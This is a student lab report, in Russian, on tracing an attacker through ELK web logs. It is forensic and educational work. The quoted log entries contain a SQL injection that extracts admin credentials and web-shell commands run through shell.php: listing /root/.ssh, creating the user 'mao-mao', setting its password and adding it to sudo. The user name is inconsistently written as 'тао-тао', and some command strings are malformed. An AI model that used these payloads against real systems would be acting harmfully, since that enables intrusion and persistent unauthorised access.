

МИНИСТЕРСТВО ОБРАЗОВАНИЯ И НАУКИ РОССИЙСКОЙ ФЕДЕРАЦИИ
федеральное государственное автономное образовательное учреждение
высшего образования
«Северный (Арктический) федеральный университет имени М.В. Ломоносова»

Высшая школа информационных технологий и автоматизированных систем
(наименование высшей школы / филиала / института / колледжа)

ОТЧЕТ
о лабораторном практикуме

По дисциплине DevTestOps

На тему Поиск злоумышленника путем анализа логов ELK

Выполнил обучающийся:

Груздев Николай Александрович
(Ф.И.О.)

Направление подготовки / специальность:

09.03.01 Информатика и вычислительная
техника
(код и наименование)

Курс: 4

Группа: 151220

Руководитель: Тарасов А.П., старший
преподаватель кафедры информационных
систем и информационной безопасности САФУ
(Ф.И.О. руководителя, должность / уч. степень / звание)

Отметка о зачете

(отметка прописью)

(дата)

Руководитель

(подпись руководителя)

Тарасов А.П.

(инициалы, фамилия)

Архангельск 2025

ЛИСТ ДЛЯ ЗАМЕЧАНИЙ

ЦЕЛЬ РАБОТЫ

Понять, что происходит.

1 РЕШЕНИЕ ПОСТАВЛЕННОЙ ЗАДАЧИ

На рисунке 1 отображены журналы событий, содержащие аномальные записи, которые могут свидетельствовать о несанкционированной активности в системе.



Рисунок 1 – Выявление подозрительных записей в логах системы

На рисунке 2 зафиксирована попытка злоумышленника выполнить поиск учётных записей, обладающих привилегиями администратора, с целью дальнейшей эскалации прав доступа.

query_string	search='%20UNION%20SELECT%20id,username,password,role%20FROM%20users%20WHERE%20role='admin'%20--'
referer	-
remote_user	-
request_args	{'search': "' UNION SELECT id,username,password,role FROM users WHERE role='admin' --'"}
request_method	GET
request_time	0.006
request_uri	/products
rev	kNie001
server_name	10.22.31.65:5000
status_code	200

Рисунок 2 – Поиск учётных записей с административными полномочиями

На рисунке 4 зафиксирован факт загрузки вредоносного программного обеспечения в систему, выполненной от имени скомпрометированной учётной записи администратора.

k	method	POST
k	path	/admin/upload_flavor
t	query_string	(empty)
t	referer	-
t	remote_user	-
t	request_args	{}
t	request_method	POST
#	request_time	0.008
t	request_uri	/admin/upload_flavor
k	rev	kNie001
t	server_name	10.22.31.65:5000
#	status_code	200

Рисунок 4– Загрузка вредоносного объекта с использованием прав администратора

Рисунок 5 демонстрирует выполнение команд, направленных на доступ к содержимому защищённой директории `/root/.ssh/`, содержащей криптографические ключи и конфигурации для удалённого доступа.

k	method	GET
k	path	/uploads/shell.php
t	query_string	cmd=ls%20/root/.ssh/
t	referer	-
t	remote_user	-
t	request_args	{'cmd': 'ls /root/.ssh/'}

Рисунок 5 – Попытка доступа к данным в директории `/root/.ssh/`

На рисунке 6 отражён процесс создания новой учётной записи ``мао-мао``, что может свидетельствовать о закреплении злоумышленника в системе.

t	query_string	cmd=useradd%20mao-mao%20-s%20/bin/bash
t	referer	-
t	remote_user	-
t	request_args	{'cmd': 'useradd mao-mao -s /bin/bash'}

Рисунок 6 – Регистрация новой учётной записи «мао-мао»

Рисунок 7 показывает изменение пароля для созданной учётной записи ``мао-мао``, что обеспечивает злоумышленнику устойчивый контроль над данным аккаунтом.

k	path	/uploads/shell.php
f	query_string	cmd= echo %20"1234\n1234"%20 %20passwd%20mao-mao
f	referer	-
f	remote_user	-
f	request_args	{'cmd': echo "1234\n1234" passwd mao-mao'}

Рисунок 7 – Модификация учётных данных пользователя «тао-тао»

На рисунке 8 зафиксирована попытка получения информации о сетевом порте, используемом для подключения по протоколу SSH, с целью организации скрытого канала удалённого доступа.

k	path	/uploads/shell.php
f	query_string	cmd=grep%20Port%20/etc/ssh/sshd_config
f	referer	-
f	remote_user	-
f	request_args	{'cmd': 'grep Port /etc/ssh/sshd_config'}
f	request_method	GET
#	request_time	0.005
f	request_uri	/uploads/shell.php

Рисунок 8 – Сбор сведений о конфигурации SSH-сервиса

Рисунок 9 иллюстрирует добавление пользователя `тао-тао` в группу `sudo`, что предоставляет данной учётной записи права на выполнение команд с привилегиями суперпользователя.

k	path	/uploads/shell.php
f	query_string	cmd= usermod %20-aG%20sudo%20mao-mao
f	referer	-
f	remote_user	-
f	request_args	{'cmd': usermod -aG sudo mao-mao'}

Рисунок 9 – Предоставление прав sudo пользователю «тао-тао»

На рисунке 10 представлен мониторинг активности учётной записи `тао-тао`, позволяющий отследить последовательность выполняемых действий после компрометации.

Documents (4)		Field statistics	Sort fields 1	Q	+	+	+
☐	@timestamp	Summary					
☐	May 20, 2026 @ 19:54:27.000	query_string cmd=usermod%20-aG%20sudo%20mao-ma request_args {'cmd': 'usermod -aG sudo mao-ma '} @timestamp May 20, 2026 @ 19:54:27.00...					
☐	May 20, 2026 @ 19:51:42.000	query_string cmd=useradd%20mao-ma%20-s%20/bin/bas h request_args {'cmd': 'useradd mao-ma -s /bin/ba sh'} @timestamp May 20, 2026 @ 19:51:42.00...					

Рисунок 10 – Анализ действий пользователя «мао-мао» в системе

Рисунок 11 демонстрирует проверку злоумышленником наличия активных привилегий `sudo` путём выполнения тестовых команд с повышенными правами доступа.

Documents (1)		Field statistics	Sort fields 1	Q	+	+	+
☐	@timestamp	Summary					
☐	May 20, 2026 @ 19:54:27.000	request_args {'cmd': 'usermod -aG sudo mao-ma '} @timestamp May 20, 2026 @ 19:54:27.00 @version 1 agent.ephemeral_id f6a9d510-1f4d-490...					

Рисунок 11 – Верификация наличия привилегий суперпользователя

Описанная последовательность действий соответствует сценарию многоэтапной кибератаки, включающему разведку, эскалацию привилегий, создание скрытых учётных записей и закрепление в скомпрометированной системе.

ВЫВОД

В рамках выполнения лабораторной работы был проведён детальный анализ журналов событий, позволяющий реконструировать цепочку действий злоумышленника при компрометации системы. Выявлены ключевые индикаторы атаки: несанкционированный поиск привилегированных аккаунтов, создание скрытых учётных записей, модификация прав доступа и попытки эксфильтрации чувствительных данных. Полученные результаты демонстрируют важность комплексного мониторинга событий безопасности и своевременного реагирования на аномальную активность для предотвращения развития инцидента.